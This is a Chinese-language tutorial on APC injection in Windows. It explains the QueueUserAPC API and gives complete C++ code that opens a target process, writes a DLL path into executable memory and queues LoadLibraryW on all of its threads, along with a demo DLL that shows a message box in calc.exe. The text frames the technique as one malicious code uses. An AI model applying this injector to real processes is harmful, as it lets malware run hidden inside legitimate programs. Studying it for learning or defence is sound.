前言
APC注入可以让一个线程在它正常的执行路径运行之前执行一些其他的代码,每一个线程都有一个附加的APC队列,他们在线程处于可警告的时候才被处理;如果程序在线程可警告等待状态时候排入一个APC队列,那么线程将开始执行APC函数,恶意代码则可以设置APC函数抢占可警告等待状态的线程。
函数介绍
QueueUserAPC函数
把一个APC对象加入到指定线程的APC队列中。
语法
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
参数
[in] pfnAPC
指向应用程序提供的APC函数的指针。
[in] hThread
线程的句柄。
[in] dwData
传递给pfnAPC参数指向的APC函数的单个值。
返回值
如果函数成功,则返回值非零。
如果函数失败,则返回值为零。
示例
程序代码
//
#include <string>
#include <windows.h>
#include <shlwapi.h>
#include <tlhelp32.h>
#include <winternl.h>
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib,"ntdll.lib")
using namespace std;
//根据进程名字获取pid
DWORD GetPidFromName(wstring wsProcessName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return FALSE;
}
PROCESSENTRY32W pe = { sizeof(pe) };
BOOL bOk;
for (bOk = Process32FirstW(hSnapshot, &pe); bOk; bOk = Process32NextW(hSnapshot, &pe)) {
wstring wsNowProcName = pe.szExeFile;
if (StrStrI(wsNowProcName.c_str(), wsProcessName.c_str()) != NULL) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
}
CloseHandle(hSnapshot);
return 0;
}
//把wcCacheInDllPath DLL文件注入进程wsProcessName
BOOL Injection_APC(const wstring& wsProcessName, const WCHAR wcCacheInDllPath[]) {
DWORD dwProcessId = GetPidFromName(wsProcessName);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
PVOID lpData = VirtualAllocEx(hProcess,
NULL,
1024,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
DWORD dwRet;
//在远程进程申请空间中写入待注入DLL的路径
WriteProcessMemory(hProcess,
lpData,
(LPVOID)wcCacheInDllPath,
MAX_PATH, NULL);
CloseHandle(hProcess);
//开始注入
THREADENTRY32 te = { sizeof(THREADENTRY32) };
//得到线程快照
HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
BOOL bStat = FALSE;
//得到第一个线程
if (Thread32First(handleSnap, &te)) {
do {
//进行进程ID对比
if (te.th32OwnerProcessID == dwProcessId) {
//得到线程句柄
HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (handleThread) {
//向线程插入APC
DWORD dwRet = QueueUserAPC(
(PAPCFUNC)LoadLibraryW,
handleThread,
(ULONG_PTR)lpData);
if (dwRet > 0) {
bStat = TRUE;
}
//关闭句柄
CloseHandle(handleThread);
}
}
}
//循环下一个线程
while (Thread32Next(handleSnap, &te));
}
CloseHandle(handleSnap);
return bStat;
}
int main(int argc, char* argv[]) {
Injection_APC(L"calc.exe", L"C:\\Users\\Administrator\\Desktop\\messagebox.dll");
return 0;
}
DLL代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Sleep(1000000);
MessageBox(NULL, L"TIPS", L"TEST", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
测试
选择calc.exe作为被注入的进程:
注入DLL文件为“C:\Users\Administrator\Desktop\messagebox.dll”:
执行程序生成EXE:
使用ProcessExplorer查看进程:
原理学习
windows系统中没个线程都会维护一个线程的APC队列,通过QueueUserAPC函数把一个APC函数添加到指定线程的APC队列。
一个进程包含多个线程,为了确保能执行插入的APC,向目标进程的所有线程都插入,加载DLL的操作;只要唤醒进程的任意线程,开始执行APC,就会执行插入的DLL内容。